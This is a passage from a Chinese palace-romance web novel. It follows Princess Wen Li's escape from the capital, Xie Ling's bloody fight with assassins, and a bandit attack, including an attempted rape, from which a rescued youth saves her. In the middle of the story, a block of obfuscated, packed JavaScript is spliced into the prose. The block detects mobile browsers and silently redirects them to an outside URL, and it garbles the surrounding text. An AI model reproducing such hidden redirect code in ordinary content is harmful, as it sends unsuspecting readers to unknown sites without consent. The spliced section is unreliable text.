谢陵只有在特别严肃时,才会唤商晏一句先生。 商晏自然不敢欺瞒他,说道:“半个时辰前,公主的御驾在东直门遭遇刺客伏击,与那天的是同一伙刺客,萧校尉负伤严重,公主也被刺客劫走。” “往哪个方向去的?” “城南” 商晏话音未落,谢陵便让风浅去府中集结人手,而他自己径直掉转马头,毫不犹豫挥鞭策马,疾风而去。 21. 第二十一章 被扔下王家的送亲队伍,你看看我,我瞅瞅你,皆不知该如何是好,新郎当众跑了,难不成要把自家小姐接回去? 商晏早料到谢陵会是这个反应,所以一开始便不让人通传,至少先把王家姑娘接回府拜堂,日后还有转圜的余地,可纸终究包不住火,眼下连他也无计可施了。 商晏无可奈何走到花轿旁,恭声道:“请王姑娘先行下轿入府,王爷有要紧事,晚一点才会归来。” 王若楚已从周遭百姓的议论声中得知了谢陵的离去,如鲠在喉,短时间有些难以接受,其实她早就察觉到了,谢家哥哥与从前完全不一样,甚至心里还装着别人。 王若楚知道,记忆中那个温润如玉、处处照顾自己的陵哥哥,因为那场祸事,永远从这世间消失,再也回不来了。 往常那个看着脆弱娇怯的她,却在此时振作起来,吩咐轿夫回王宅。 喜娘一脸为难:“小姐这……哎呀,再等等吧,别叫人看笑话,王爷兴许一会儿就回来了。” “回去。”王若楚又重申了一遍,语气比刚才重些。 倘若未来夫君心里最要紧的不是自己,就算嫁过去只会吃尽苦头,这是昨夜临睡前,娘亲教给她的道理,出门时,爹爹也曾说过,倘若觉得委屈,可随时回家。 现在她只想回家。 是她错了,什么日子三个人过也行,不过是她在欺骗自己,她承认自己就是小气自私,根本容不下第三个人,也做不了宽宏大度的临王妃。 望着花轿启程回去,商晏虽然心急,神色却还算镇定,倒是一瘸一拐地陆回从门里出来,一脸担忧问道:“军师你说,这门婚事是不是黄了?” 商晏摇头,他也说不准,“如今走一步看一步。” * 沈迟驾驭的马车,毫无阻碍出了城门,一路往南而下,前半夜他一直在赶路,见追兵久久没跟来,料想暂时安全了,便找了个隐蔽的林子停下喂马。 闻梨透过窗,看着沈迟低头喂马的背影,喜悦的心绪逐渐变得平缓,她始终没忘记与沈迟的交易,既然他帮自己逃离的玉京,她也该履行承诺告诉他邑王的死因。 可闻梨摸不准沈迟的脾性,随便编一个只怕骗不了他,若说出真相,他会不会一怒之下把她又抓回去?跟进大牢相比,还不如嫁给谢陵,同样是失去自由,至少后一个不用挨饿受刑。 “公主要下来透透气吗?还要赶一夜的山路,明早才会有歇脚的地方。”沈迟喂完了马,走过来又补充道:“公主放心,这里不会有追兵。” 闻梨掀帘下车,稍微舒缓下筋骨,不动声色打量周遭的环境,此地是密林深处,草木葱郁,藤蔓缠绕,只有官道能够通行,而且山的那边不时传来野兽的低吼声,十分瘆人。 闻梨只好歇了想要背着沈迟偷偷逃跑的心思。 “今天街上的刺客是沈公子引来的?” 沈迟摇首:“不是,我只派人拦了路,在另一处设了埋伏,那些刺客想必是公主与临王上次遇见过的,误打误撞帮了臣的忙。” 他一向动手,首要考虑的是百姓的安全,那些火球砸伤了不少看热闹的百姓,以及送亲队伍里的人。 闻梨朝沈迟郑重一拜:“多谢沈公子出手相救,我无以为报,倘若他日再相遇,必报公子大恩。” 沈迟却道:“公主言重了,何况臣本就有私心。” 闻梨知道,沈迟所说的私心便是指邑王的死,她正犹豫着不知如何开口,沈迟接下来说的话,却令她心头一紧,不自觉握紧手心藏着的石块。 “邑王其实是被公主所杀,是吗?”他目光灼灼地看向她。 闻梨沉默了,一时忘记要狡辩,回过神来却已为时已晚,现在才辩驳,无异于此地无银三百两,如何糊弄得住沈迟。 但她好奇的是,既然沈迟已经猜到她是凶手,为何还肯帮她逃离玉京?难道是他碍于谢陵的面,没办法对她进行审问? 闻梨的心中更紧张了,良久才道:“沈公子为何会怀疑是我?” 沈迟不缓不慢道:“因为那根簪子,臣说过要当证物保留,但那天夜里,簪子却被临王的人偷走了,公主有所不知,臣只给公主一人看过那根金簪,旁人如何能得知在臣那里?” 闻梨试图稳住心神:“我思念亡母心切,沈公子既然不肯还给我,我找临王帮我拿回,也无可厚非吧?” 沈迟却是一笑,意味深长道:“公主那天真的看清楚了吗?臣手中拿着的金簪果真是虞妃的遗物?” 闻梨瞪大眼,那日忽而被沈迟拦住,她心里本就慌乱,只见簪子形状相似,根本没细看是不是真的,更可怕的是,她现在仔细回想那根簪子的样式,却发现脑海空空,金簪的细节一概想不起来。 “公主倘若真的思母心切,又怎会认错亡母的遗物?”沈迟说罢,从怀里掏出真正的金簪,“公主这回可认清楚了?” 闻梨瞧见金簪的刹那间,心口像是被什么东西堵住,还是觉得这簪子陌生,是又好像不是。 有关母妃的遗物就只剩下这簪子,她一向放在梳妆盒的最底层,很少会拿起来看,若不是那天沈皇后派人搜她的寝屋,拿了此簪来刺她的手,她几乎快忘记还有这么个东西。 她怨恨母妃将她仍在宫里自生自灭,连带着恨这根金簪,固执地认为看不见就能忘记那些痛苦的记忆。 见闻梨久久不语,沈迟说出了藏在心底多年的秘密:“那年夏天,臣随家人进宫赏荷,却看见一个比臣小几岁的孩童跌进莲花池中,那孩童才四五岁大,为了给虞妃采莲花,差点淹死,被臣救了上来。” “当时臣牵着那孩童的手,发现烫得厉害,她的小脸煞白,却还是强颜欢笑把舍命采来的莲花献给虞妃,这孩童的双亲非常高兴,更加恩爱和睦,可他们没注意到自己女儿发烧了,公主您说,这个孩童长大后,真的会视亡母的遗物为珍宝吗?” 脸颊冰凉,闻梨才意识到自己竟然在流泪,“沈公子到底想说什么?” 沈迟上前一步,递还了金簪,“马儿想必是休息够了,请公主上马车,后半夜还有一程路要走,臣得即刻赶回去,否则引得临王怀疑,公主就走不远了。” 闻梨接过金簪,神情茫然无措:“为什么?你不是已经知道我是杀害邑王的凶手吗?为何还要帮我?” 沈迟笑道:“臣一早就说过,帮助公主是臣的私心使然,邑王害死多条无辜的性命,死不足惜,臣虽搜集了邑王的许多罪证,却碍于他的权势,没法将他绳之以法。之所以一直追查他的死因,一是想知道真相,二则看看凶手是否为正义之士,倘若是,臣会尽量帮其避开追捕。” 另一个原因沈迟没有明说,簪子的事情是姑母沈皇后告诉他的,姑母希望他能利用此事要挟闻梨,可他不愿这么做。 而且他心里也清楚,若不是姑母授意,闻梨公主怎会到邑王的船上去?姑母此举,与穷凶极恶的邑王有何分别? 闻梨紧绷着的身躯此刻软下来,砰的一声闷响,连带着手里的石块也落了地。 沈迟见状,一本正经道:“公主的报恩方式……臣不太认同。” 而后,沈迟便教闻梨如何驾驭马车,“这马儿温顺聪明,公主不需费多大劲就能掌握。” 紧接着,他从马车里拿出一个包袱,包袱里有京兆府通发的路引文书、身籍、州县地图等物,还有匕首、蒙汗药、金疮药,以及一些盘缠,最底下还有两张人皮面具,他演示了一遍佩戴的方法,戴上后果然改变了面部特征,很难辨别其原先的容貌,但此物不能遇水,他再三叮嘱闻梨。 闻梨目瞪口呆,一边觉得沈迟见多识广,考虑周全,一边将他的话默默记在心里。 沈迟:“那我们就此别过,山遥路远,希望公主得偿所愿,按照自己的心意去活。” 闻梨眼圈微微有些热,心里很是感激,朝沈迟道别:“沈公子的恩情,我没齿难忘,再见,盼君珍重。” 二人道别后,沈迟不再耽搁,从密林里牵出早就备下的马儿,朝来时的路策马而去。 闻梨坐上马车,第一次尝试赶车,果真如沈迟所言,马的脾性极温顺,还很有灵性,闻梨只是轻轻牵住缰绳,马儿便自己往官道上行去。 夜风抚过她的脸,凉飕飕的很清爽,远处的山峦重叠,逐渐被她抛在身后,车轮呼呼滚过草地,给这寂静的山林添了几分热闹的声息。 起初还有月光照亮前行的路,后半夜,月儿藏进云端,闻梨不由得放缓速度,在车前挂起两盏灯,摸着黑慢慢前行。 天空开始下雨了,雨滴密密匝匝砸下来,带着点尘泥的味道,闻梨从马车里翻出了避雨的蓑衣,再次感慨沈迟的细心,她手里握着缰绳,雨滴顺着她的手指,往胳膊里流淌,濡湿了大半袖子,却不觉得泥泞和难受。 终于逃出来了,她兴奋地想道,终于摆脱了那群令她讨厌的人,往后走哪条路由她自己决定。 * 谢陵没等府兵集结,先行赶往南面的城门,从守城的侍卫那里打探得知,半个时辰前却确有一辆宫中的马车从此门经过。 谢陵握紧缰绳,用鞭子抽打马背,疾驰奔向城外,未多时便遇到了仍在追击刺客的萧大郎。 萧大郎一见谢陵,不顾自己的伤,跪地请罪,将迎亲时发生的事,一字不漏说给了谢陵听。 “刺客逃进那片林子便没再出来,属下打听过,有人称前两日,曾看到一群不明身份的人进过林子,待了很久才出来,属下料定刺客在里面布好陷阱,因而不敢擅自冒险闯入。” 谢陵脸色愈发阴沉,让萧大郎在此等援兵,随即带着余下没受伤的府兵,沿地面刚留下的车辙印追去。 车辙印一直延伸至树林深处,谢陵一行人先后遭遇箭雨、暗器、毒雾的袭击,这样的小技俩对于长年征战沙场的谢陵,以及他身后骁勇善战的府兵来说不足为惧。 天色渐暗,谢陵带人追到一处视野开阔的空地,地面中央停放着闻梨平时乘坐的那辆马车,四周无人,亦无声息,明知是刺客设下的陷阱,谢陵还是打算过去看一眼,确保闻梨还活着。 谢陵掀开车帘探查的刹那间,并没有想象中的偷袭,待他看清楚车里的情形,蒙着喜帕的新娘倒在软榻上,彷佛晕了过去。 他心中一紧,毫不迟疑过来扶住新娘,刚触碰到新娘的胳膊便发现了不对劲,这嫁衣底下分明是男子结实的臂膀。 谢陵此时撤手已经来不及了,结结实实挨了‘新娘’一刀,幸而‘新娘’蒙着喜帕,没有找准谢陵的要害之处,只是割伤了他的肩臂。 谢陵反应极快,手中剑已出鞘,将这戏弄自己的刺客一剑穿心,大红鸳鸯藤喜帕悄然滑落,底下是一张渐渐失去血色的男人的脸。 与此同时,马车外传来了打斗声,谢陵气恼地掀帘而出,四面已经围上来一群刺客,他粗略扫了一眼,大约有五六十人,想来刺客已经倾巢出动了。 谢陵面含怒气,冷眼望向刺客首领,低沉的声音夹杂着几分瘆人的戾气:“她在哪里?” 他的手里紧紧握着剑,却站着不动,颇有种山雨欲来前的压迫肆虐感。 刺客首领大喝一声,朝谢陵挥刀砍来:“谢狗拿命来!” 刺客们一拥而上,皆想取谢陵首级,两伙人打得昏天暗地,惊散了林中栖息的鸟儿,百步之外连豺狼猛兽都不敢靠近。 刺客们先前已在城里打了一架,体力渐渐跟不上,明明人数是对方的两倍,却迟迟没能杀尽对方,一直拖到谢陵的援兵赶到,才想着要撤退,可谢陵根本不愿意放他们走。 很快,刺客们被剿杀得只剩下四五个人。 谢陵发了狠,不顾身上流血的伤口,掠身过去将刺客首领踩在脚下,用剑抵在刺客首领的喉间,沉着脸质问:“她被你们藏在了哪里?” 少年刺客见状,急切喊了一声“陈叔”,想过来救人,却听到陈叔红着眼怒吼一声:“快走!带少主走啊!” 少年刺客身边的同伴,也都纷纷湿了眼眶,只好点了少年刺客的昏穴,架起他往南边逃去,其中有两个刺客为了掩护少年撤退,也都倒在了府兵的刀下。 谢陵吩咐赶来的萧二郎继续追击敌人,自己却虚脱地跪倒在地,猛吐了口血,原来剑上有毒,一旁的刺客首领见了,狰狞大笑:“谢狗,你也有今天!” 风浅赶忙过来将人扶住,谢陵却要风浅扶自己到马车边,再一次登上马车。 谢陵逐渐回过味来,倘若闻梨真的在刺客手里,刺客何必派人假扮新娘,直接用闻梨要挟他岂不是更便宜? 只有一种可能,刺客劫走马车时,闻梨已不在车中,但萧大郎明明亲眼看到闻梨上了马车,那她人究竟是什么时候消失的? 此刻已是半夜,月亮不知何时藏进云端,谢陵借着火折子仔细观察车壁,推开刺客尸首时,果然瞧见了马车底板的那个暗洞,以闻梨的身形,从那个地方逃出去绰绰有余。 夜里开始下起雨来,雨点劈里啪啦砸向车顶,远山的天边电闪雷鸣,这场雨来得又急又汹,冲涮着地面的血迹,很快流淌成溪流,冲垮堆积的尸山。 谢陵缓缓走在雨中,一身大红喜袍被刀划得残缺破败,翘起来的残边还在风里打着旋儿,他的手里握着剑,雨水顺着剑尖汇聚流下,又被风吹散成水花,落进泥里消失不见。 谢陵脸上不再是愤怒暴戾的神情,取而代之的是一种惆怅迷茫的情绪,心底空落落的,他好像又回到了从前孤僻过活的那段日子,更加奇怪的是,杀戮和鲜血已经不能让他得到快感和满足。 他在心里渴望着有什么东西赶快出现,能转移这种令他越陷越深的危险心境,可放眼望去,低空的闪电,磅礴的雨幕,黑压压的山林,每一处都令他神思紧绷,压抑多年的自厌情绪已经濒临崩溃。 这么些年,叔父要他时刻谨记谢家的仇怨,可昔日仇人已死,他虽心中有恨,这样的恨却是麻木的、偏执的、厌倦的,难道自己挥下的每一刀,杀掉的每个人,能让仇敌复活,让他再杀一次吗? 年少时的他想不明白,也很痛苦迷惘,不知该怎样排解心头积压的仇怨,只是机械地按照叔父的意思去做,久而久之,他将自我情绪压至最低限度,唯有两点,活下来,听叔父的话。 叔父是他在这世上唯一的亲人,哪怕叔父要自己屠尽一城老小,他也应该毫不犹豫去做。 闻梨的出现,轻而易举挑动他那根仇恨的心弦,一开始他是想杀了她,可陆回说得没错,那时的她才多大,恐怕连事都记不清,何况望着她那双无辜的眼睛,不知怎的,他突然有点下不去手。 那天夜里,他开始尝到了一点除了杀人之外的甜头,不仅仅是身体上的愉悦,更多的是,反抗叔父命令后带来的解脱感。 尽管最后,他还是迫于叔父和时局的压力,娶了王家姑娘为妻,但至少他争取到了闻梨,不知不觉中,他的注意力总是会过多放在她身上,担心她被人欺负,不喜她跟别的男人说话。 她明明说过,愿意一生一世伺候他,他为她屡次违抗叔父的命令,挨了多少次鞭刑,可她却三番五次想逃走,这次还真让她逃走了,好没良心的女人。 谢陵平生第一次被一个女子玩弄了感情,他下定狠心,无论闻梨逃到哪里,他绝不放过她。 * 天色朦朦亮时,闻梨赶着马车驶出了泥泞的山野荒林,视野逐渐变得宽阔,道路两侧是绿油油的农田,田梗上散落着几间低矮的茅草房,房门前有鸡犬相吠,房顶有炊烟袅袅升起,再往前走一段距离,泥石建造的房屋紧密排布在一起,扛着锄头劳作的农户也多了起来,不时向闻梨投来好奇的目光。 闻梨早在雨停之际,便戴好了面具,即便如此,在被人注视的时候,她的心中难免还有些紧张,当即轻拽缰绳,让马儿加快脚步。 如昨夜沈迟所言,眼前的镇子规模小,不过百来十户人家,仅有一条青石板铺成的街道,时辰还早,街上就开了一间烧饼铺,闻梨粗着嗓音问店老板:“店家,此地离白云城有几天的脚程?” 店家打量一眼闻梨,不耐烦地回说要走一个多月,又问她吃不吃饼,吃的话他就告诉她往哪走。 闻梨深知出门外在不能露富,便瞅着那烧饼,咽了咽口水,先是摇头,后又从腰间费劲地摸出五个铜板,递给店老板。 店老板哂笑道:“客官,五个烧饼可撑不了一个月。” 闻梨见状,便从鞋底又摸出三个铜板,十分不舍地拿给店老板,店老板这才慢吞吞装好八个烧饼,刻薄道:“没钱出什么远门,可别饿死在半道上。” 闻梨默然接过烧饼,赶马继续前行,等驶出主街一段距离,她又停下马车,准备向路边的农妇再买点路上的吃食,那农妇却一脸痛恨地说,烧饼店的老板是个奸商,惯会欺负外地人,从镇上出发去白云城,三四天就够了。 闻梨朝农妇道了声谢,坐回马车上,暗自想道,算上这回,已是她第二次上当受骗,往后可不能再轻易相信别人,这宫外人的坏心眼不必宫中少,她打起精神,继续赶路。 闻梨走后不到半日,便有一群从玉京来的官兵,手里拿着闻梨的通缉令闯进镇上,烧饼铺老板颤颤巍巍说早上确实有个女子路过,还说要去白云城。 一路上,闻梨困了,就躺在马车里睡会儿,饿了,就拿起烧饼啃两口,遇到小溪,便将水壶装满。 转眼七八天过去了,闻梨还是没到达白云城,甚至连小村镇都没遇上一个,她一边拿着地图,一边挠头,实在想不明白,明明是照着地图走的,究竟是哪一步走岔了? 寻路无望,闻梨暂时回到马车上,看着包袱里就剩下一个烧饼,她拿起来啃了一口,舍不得吃完,心底寻思着,过了今日若还是遇不到人,自己恐怕要饿死在这深山里。 不远处,马儿正在撒欢地啃着地上的青草,此时节正逢雨季,一阵雨一阵晴,道路边的草肥美无比,还没有别的牲口来抢,闻梨惆怅地将马儿望着,可恨自己不是一匹马。 正当她出神地想着,山崖上忽然落下什么东西,滚到马儿身边,吓得马儿咧腿就往闻梨这边跑,闻梨牵住马,好生安抚了一阵,随后才将视线投向前方。 看清是具尸首的刹那间,闻梨也吓了一跳,连忙抬头往山崖看,该不会有凶恶之徒在此处抛尸毁迹吧?她胡思乱想了一通,并未瞧见哪有恶徒。 忽而,闻梨瞥见那‘尸首’动了动,她大着胆子上前探查那人的鼻息,果然见人还有活气,但气息微弱,还浑身是伤,方才从山崖跌落,怕是摔得神志不清,不一定救得活。 闻梨顺手掀开那人的帽兜,帽檐底下竟是一个清绝秀逸的少年,少年十七八岁左右,肤白似玉,微卷的刘海上缀着几滴水珠,那双剑眉因疼痛而紧拧,眼睫长而秀气,鼻梁沾了点血迹,唇色惨淡,还起了点皮,微微喘息的模样透着几分破碎感。 饶是见惯了玉京的俊男靓女,在荒无人烟的野外见到这样一张脸,闻梨还是觉得很惊艳,少年尽管身上痛得晕厥,但却一声不吭,样子乖巧极了,让闻梨想起小时候养过的一只漂亮猫儿,她在冷宫关了半年,后来听说猫儿饿死了,甚是可怜。 倘若放任少年不管,要么失血过多而死,要么夜里被野兽叼走,而且此路荒凉,很少有人路过,闻梨若是不救,少年必死无疑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233677|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>还是救吧,好歹路上有个伴,在这寂静无人的山野中,夜晚常有野兽靠近马车,虽说都被闻梨挥着树枝吓走了,但多一个人同行,也算壮壮胆,等到了有人的地方,就把他送到医馆。 闻梨没多犹豫,把少年搀扶起来,费力弄上马车,先拧干抹布,给少年净脸,擦身,在流血的伤口处涂抹了金疮药,又给少年喂了点水,给他披了件衣服,这才继续赶路。 一天一夜过去了,少年始终未醒。 翌日清晨,闻梨被刺眼的阳光晃醒,腹中饥饿实在难忍,她吃了半块烧饼,剩一半藏枕头下,看少年仍未有醒来的迹象,便打算去寻些水来喝。 大清早的河水还带着点山里的凉气,闻梨掬水搓搓脸,顿觉神清气爽,拧开水壶灌满水,扭头见河里似有鱼儿游动,便脱了鞋,去水深处捞鱼,结果鱼没抓到,却把自己弄得一身湿,最后只能悻悻而归。 闻梨拎着水壶走了,丝毫没注意到河对岸冒出几个持刀的山匪,山匪一路悄悄跟踪闻梨,见马车边只有她一个弱女子,纷纷大喜过望,几人前后夹击将闻梨与马车团团围住。 闻梨刚给少年喂了口水,抬头却见几个凶神恶煞的男人持刀靠近,她瞬间慌了神,到处去摸匕首的位置,但不记得被自己放哪里了。 见几个山匪不怀好意盯着自己,闻梨心中恐慌到了极点,大声呵斥:“你们想做什么?” 那领头的山匪猥琐笑道:“小娘子问我们想做什么?当然是想做你的情郎呀!好标志的小娘子,同我回去当个压寨夫人如何?” 那山匪说着,便一把抓住闻梨的脚踝,轻而易举将她整个人拽下马车,摁在地上,迫不及待就要解裤子,闻梨本就饿得没力气,根本挣扎不开,便只能流着眼泪骂畜生。 几个山匪哈哈大笑,牵马的牵马,望风的望风,都等着头儿完事,一起回山寨邀功。 另有一人掀开车帘,准备清点财物,却见马车里躺着玉貌仙姿般的美少年,山匪起了别样心思,女的轮不到他玩,这男的总该能让他快活一下吧,山匪伸手就想去脱少年裤子。 下一瞬,那少年忽然睁眼,眼眸闪过一抹厉色,手腕里不知何时多了把匕首,悄无声息将山匪抹了喉咙。 闻梨拼死反抗,一口咬上山匪的手腕,那山匪疼得龇牙咧嘴,面目狰狞地打了闻梨一巴掌,闻梨只觉头晕眼花,耳鸣声嗡嗡,失去了反抗的力气。 正当此时,忽有股温热的暖流滴落在她脸上,压在她身上的土匪一动不动,似乎没了声息,缓了好一会儿,闻梨终于看清土匪被人抹了脖子。 闻梨费劲推开土匪,坐起身子,才看到几个土匪横七竖八倒在地上,全都死了,而坐靠在马车边上的少年又晕了过去,手里握着的正是她那把匕首。 是少年救了她! 闻梨赶紧起身,将少年重新挪回马车里,牵回马儿,飞一般赶着马车,逃离了这边林地,几乎昼夜不停,生怕其他土匪找来。 又过了一天一夜,闻梨实在饿得赶不动车,再加上马儿也要休息,她这才在水源附近停下,大口大口喝水,但水不管饱,她饿得没招了,试过不知名野菜,实在咽不下去,又见树根边缠绕的藤蔓根硕丰硕,好不容易挖出一截,狼吞虎咽吃了下去,好歹腹中没那么烧得慌了,就是口感实在酸涩。 闻梨被酸得咬牙切齿,一扭头,正对上车里少年似秋水般清浅的眼眸,他正一脸疑惑望着闻梨。 少年早已醒来,在旁边静静看了闻梨半晌,显然不理解她为什么要挖那种东西吃? 闻梨欣喜起身,蹭了蹭手上的黄泥,取来水壶给少年喝。少年迟疑一瞬,还是接过来喝下,紧接着他又看到闻梨从包袱里拿出半张快要馊掉的烧饼,掰碎浸在洗干净的破碗里,那碗明晃晃递到他面前。 少年犹豫了一阵,毅然撇开脸,不接,尽管他也好几日没吃饭了,但实在吃不下这么不堪入目的东西。 闻梨见状,好心劝道:“这里没别的东西吃,还不知何时才能到下一个城镇,你不吃就会饿死,我就剩这么半张饼,全留给你了。” 少年眸光微动,原来她方才啃树根,是因为没东西吃?现在看来,他若不接过这碗碎烧饼,倒显得他不识趣了。 少年脸上依旧苍白,声音有些喑哑,但依稀听得出来他原本的声线很清润:“别吃这个了,我会打猎,你帮我准备一根韧性好的树根,然后再捡一些干柴回来。” 闻梨一听少年的话,先不管真假,心里顿时燃起希望,那双因为饥饿黯淡无光的眼眸重新亮起来,二话不说,便照少年的意思去做。 等她拾了堆柴火回来,惊奇地发现少年用木棍和藤蔓做了一把弓,又见少年捡起几支树枝,拿匕首削尖了一端,而后钻进密林,不知去向。 半个时辰不到,少年回来了,左右手各拎着一只野兔和野鸡,少年似乎有些累到了,将野鸡野兔往地上一扔,随即抬眼问闻梨:“会处理干净吗?” 闻梨一阵茫然,眼睛盯着野鸡野兔,没忍住问出自己困惑:“不是架在火上烤就可以了吗?” 少年只好拎着野鸡野兔起身,去河边处理了内脏等物,再回来时,见闻梨正趴在地上生火,火没燃着,她自己倒是弄得灰头土脸。 少年现在终于明白,为何她会饿肚子了,于是默默拿起一截柴火,用火折子点燃,慢慢往里添柴,火苗跳动得越来越旺,很快烧红了柴堆。 闻梨望着眼前的一幕,觉得很不可思议,火光映照在少年俊俏的脸庞上,给人一种很温馨可靠的感觉,看着少年架柴、翻烤野鸡的一套动作行云流水,明显是经常所为。 闻梨犹豫了一会儿,想起还没问过少年的姓名,便主动与他攀谈:“你叫什么名字?那日为何会倒在路边?” 少年添柴的手微微一滞,眼底划过一缕闻梨看不懂的复杂情绪,说话的声音虽沉了几分,但依旧平和耐心:“我叫徐渺,被仇家追杀,你呢,为何会一个人出现在这荒山野岭之中?” 闻梨没想到他会反问自己,一时噎住,总不能告诉对方自己是公主,从京城逃婚来的吧?要怎么解释自己的身份呢?灵机一动,闻梨含糊其辞说道: “公子唤我阿梨便可,刚嫁半年的丈夫死了,婆母贪图钱财,欲逼迫我改嫁给京城的恶霸当小妾,我走投无路,只能逃出家门。” 徐渺淡淡嗯了一声,脸上神情不变,闻梨看不出他究竟信不信,二人各自沉默。由于饥饿,闻梨肚子咕咕响个不停,当着徐渺的面,她顿觉脸面有点难堪,便起身说要去找柴火。 徐渺嘱咐道:“不要走太远,夜里不安全。” 闻梨心中一动,应声说好,在马车附近寻找着木柴,远远望着黑夜里那簇熊熊火光,多日来孤身行走在山野里那种寂寥与恐惧的心情被瞬间驱散。 想到山匪,她不禁一阵后怕,倘若自己当时没救那少年,说不定此时已经被绑进山匪窝,生死难料。 就是不知这少年会何时离开。 当闻梨抱着一堆柴火回来时,徐渺已经烤好了烧鸡,还用刀切成两半,他自己吃着小的那份,将大的留给闻梨。 时隔多日,闻梨终于吃到一口热乎的肉,心中甚是满足,这烤鸡表皮酥脆,内里多汁软弹,好吃到闻梨几乎要落泪了,这些受的苦难,在这份烤鸡面前不值一提。 与狼吞虎咽的闻梨不同,徐渺那边吃得很安静,似乎没什么胃口,不时抬眸看一眼闻梨,见她手里那份很快被吃干净,便拿起匕首,将自己吃过的地方切掉,又匀出大半给闻梨。 闻梨很不好意思地笑了笑,眼睛还盯着,手却已客套地推开,“你吃,原本就是一人一半。” 徐渺又递过去:“我不饿。” 闻梨不再推辞,风卷残云般吃完,抬头却见徐渺一脸欲言又止地盯着她看,难不成是自己嘴边有残渣?闻梨抬手擦了擦,脸上并未沾上什么东西。 “怎么了?” “没事。” 见徐渺移开目光,闻梨不再追问,收拾了一下残局,向往常那样在马车里铺好床褥,准备睡一觉。 另一个难题浮上闻梨心头,先前徐渺昏睡着,一起躺在马车里并未觉得不妥,但现在他醒了,孤男寡女躺在那么狭窄的车厢里,想想便觉得难为情。 她悄悄瞄了一眼火边的少年,心跳加速,其实一起睡车厢里也不是不行,中间能挂着几件衣服隔开,她扪心自问,肯定不会对徐渺做什么,至于徐渺,从一开始就十分谦逊守礼,分寸感掌握得很好,还救过她一命,应当是个正人君子。 闻梨一想到此,不自觉把被褥铺开了些,刚好够两个人躺下,然后磨磨蹭蹭朝少年走过去,鼓足勇气正要说话。 不及她开口询问,徐渺却先发话:“夜里也许会有野兽靠近,我还是睡在外面比较好。” 闻梨想半天的说辞皆被他一句话堵住,心中只好作罢,临睡前,她忽然从车帘下钻出脑袋,望向仍在火边坐着的少年,幽幽问了一句:“你会趁我睡着后离开吗?” 少年怔住,随后转过脸来,头一回朝闻梨笑了笑,眼神明亮得像天边闪烁的星辰,“放心睡吧,我哪都不去。” 闻梨脸颊一热,赶忙钻回马车,闭上眼,脑子里还浮现着少年刚才的笑容,他长得可真好看呐,不知不觉间睡了过去。 夜半时分,山野里静悄悄的,唯有几声远处的蝉鸣,和着风声穿过此间。 前半夜,闻梨睡得极安稳,到了下半夜,不知怎的,腹中忽然一阵剧烈绞痛,并不似葵水来时那般痛,她痛得满头是汗,掀开车帘,却见外边火堆已经熄灭,少年不见了踪影。 完了,她心想,自己还是被扔下了。 22. 第二十二章 闻梨忍着疼痛,爬下马车,想找水壶喝口水,但她疼得直冒冷汗,眼睛几乎不能视物,连哪里是火堆都分不清楚。 正当此时,忽而有只手从背后扶住她,另一只手托住她的胳膊,才将她从地面搀回马车上躺着。 徐渺安置好闻梨后,欲转身离开,却被闻梨揪紧袖角,只见她一脸生无可恋地交代后事:“等我死了,你能不能找个地方把我埋了,我的马车,马儿,还有身上的钱都给你了。” 徐渺扒开她的手,一脸忍俊不禁:“别害怕,你只是中毒了,我刚才闲着没事,给你找解药去了,一会儿吃下就好了。” “中毒?” “嗯,我没认错的话,你昨天吃的藤蔓有毒,好在没吃多少,中毒不深。” 闻梨这才讪讪松手,原来他没走,是去给她找解药去了,莫非他先前似乎有话想说,就是这个缘故? 不一会儿工夫,徐渺将碾碎的草药熬成汤汁,喂给闻梨喝下,闻梨只觉浑身暖融融的,腹中疼痛也有所缓解,慢慢又睡了过去。 直到日上三竿,山里的鸟雀叽叽喳喳吵个不停,闻梨才从梦中惊醒,刚才她又梦到谢陵拎着剑追来,为了惩罚她,谢陵还亲手逼她喝下令人肝肠寸断的毒药,幸好只是一场梦。 闻梨恍惚一阵,想起了昨晚细心照顾她的少年,掀帘一看,竟又不见少年身影。 不过这一次,她瞧见火堆旁留下一行徐渺用小木柴拼起来的字:勿寻,我没走。 闻梨心中安定不少,现在可就指望着徐渺狩猎而食,她想好了,即便徐渺有急事要离开,只要不是回玉京,她也会毫不犹豫跟他离开,否则真要饿死在深林里。 体内毒素已解,闻梨身上轻快不少,此时节正值盛暑,加上昨夜又是中毒,又是做噩梦,她只觉浑身湿黏黏的,仔细算算,快将近半个月没洗澡了,今天无论如何也得弄点水擦擦身子。 她拿了身衣裳,往河边走,特意找了处有灌木丛遮挡的河岸边,拨开草丛的刹那间,一道肩宽腰窄、薄肌清瘦的赤身赫然出现在她眼前,闻梨瞪圆眼睛,一时间忘了要回避。 徐渺也没想到,他明明故意弄出水声,她居然还若无其事地闯进来,甚至毫不避讳地打量着他的身材,耳根微微发烫,他自己倒先脸红了,清咳了一声,伸手拿来衣裳遮挡。 闻梨这才想起要守男女大防,立马背过身去,支支吾吾道:“对不起,我没看到你在里面,那、那个,需要我帮你望风吗?” 身后之人久久未语,闻梨心想道,他该不会是生气了吧?正欲回头,却见徐渺已经穿好衣裳走来她面前,他的湿发垂在两肩,少年棱角分明的脸廓平添了几分灵秀温婉的气质,乍一看像极了她母妃。 她的母妃年轻时,也不爱盘发戴花,喜欢自然垂落着长发,冬日躺在美人榻上晒太阳,心情好的时候,还会把刚学会走路的闻梨抱在腿上轻轻抚摸,可是后来,母妃性情大变,再不会那样轻柔地抱着她哄睡。 “我洗好了,你去洗吧。”徐渺出声打断了闻梨的回忆。 闻梨回过神,刚要问他怎知自己要洗澡,后意识到自己手里还捧着衣裳,也不难猜,只不过她越看徐渺身上的衣服,越觉得眼熟,这不是沈迟替她准备的换洗衣裳吗?徐渺怎么拿去穿身上了?除了袖口和裤裙短了许多,竟没有什么违和感。 难怪她方才觉得他身上的气质像自己母妃,原来是穿了女装的缘故。 徐渺见闻梨一直盯着自己身上的衣服,便解释道:“我的衣裳不能再穿了,便借了你的,稍微改宽了腰身,等到了城里,我买一套新的还给你。” 